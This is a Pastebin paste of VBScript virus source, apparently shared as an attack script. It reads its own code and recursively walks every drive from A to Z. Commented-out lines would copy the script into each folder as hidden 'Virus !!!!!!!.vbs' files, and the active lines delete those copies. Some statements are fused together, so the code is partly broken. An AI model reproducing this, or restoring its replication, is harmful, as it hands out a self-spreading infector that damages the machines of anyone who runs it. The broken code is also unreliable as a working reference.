JackHaxor

vbs drug atk data

May 14th, 2017
71
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.22 KB | None | 0 0
  1. Dim fso,file,VBCopy
  2.  
  3. Set fso=CreateObject("Scripting.FileSystemObject")
  4.  
  5. Set file=fso.OpenTextFile(WScript.ScriptFullName,1)VBCopy=file.ReadAll
  6.  
  7. FolderList("A:")
  8.  
  9. FolderList("B:")
  10.  
  11. FolderList("C:")
  12.  
  13. FolderList("D:")
  14.  
  15. FolderList("E:")
  16.  
  17. FolderList("F:")
  18.  
  19. FolderList("G:")
  20.  
  21. FolderList("H:")
  22.  
  23. FolderList("I:")
  24.  
  25. FolderList("J:")
  26.  
  27. FolderList("K:")
  28.  
  29. FolderList("L:")
  30.  
  31. FolderList("M:")
  32.  
  33. FolderList("N:")
  34.  
  35. FolderList("O:")
  36.  
  37. FolderList("P:")
  38.  
  39. FolderList("Q:")
  40.  
  41. FolderList("R:")
  42.  
  43. FolderList("S:")
  44.  
  45. FolderList("T:")
  46.  
  47. FolderList("U:")
  48.  
  49. FolderList("V:")
  50.  
  51. FolderList("X:")
  52.  
  53. FolderList("Y:")
  54.  
  55. FolderList("Z:")
  56.  
  57. FolderList("W:")
  58.  
  59. Sub FolderList(FolderSpec)
  60.  
  61. On Error Resume Next
  62.  
  63. Dim f,f1,sf,COP,CAP,ATT
  64.  
  65. Set f=fso.GetFolder(FolderSpec)
  66.  
  67. set sf=f.SubFolders For Each f1 In sf
  68.  
  69. 'Set COP=fso.CreateTextFile(f1.path & "Virus !!!!!!!.vbs")
  70.  
  71. 'COP.write VBCopy
  72.  
  73. 'Set CAP=fso.CreateTextFile(f1.path & "---Virus !!!!!!!.vbs")
  74.  
  75. 'CAP.write VBCopy'Set ATT=fso.GetFolder(f1.Path)
  76.  
  77. 'ATT.Attributes=ATT.Attributes+2
  78.  
  79. fso.DeleteFile(f1.path & "Virus !!!!!!!.vbs")
  80.  
  81. fso.DeleteFile(f1.path & "---Virus !!!!!!!.vbs")
  82.  
  83. FolderList(f1.Path)
  84.  
  85. Next
  86.  
  87. End sub
Add Comment
Please, Sign In to add comment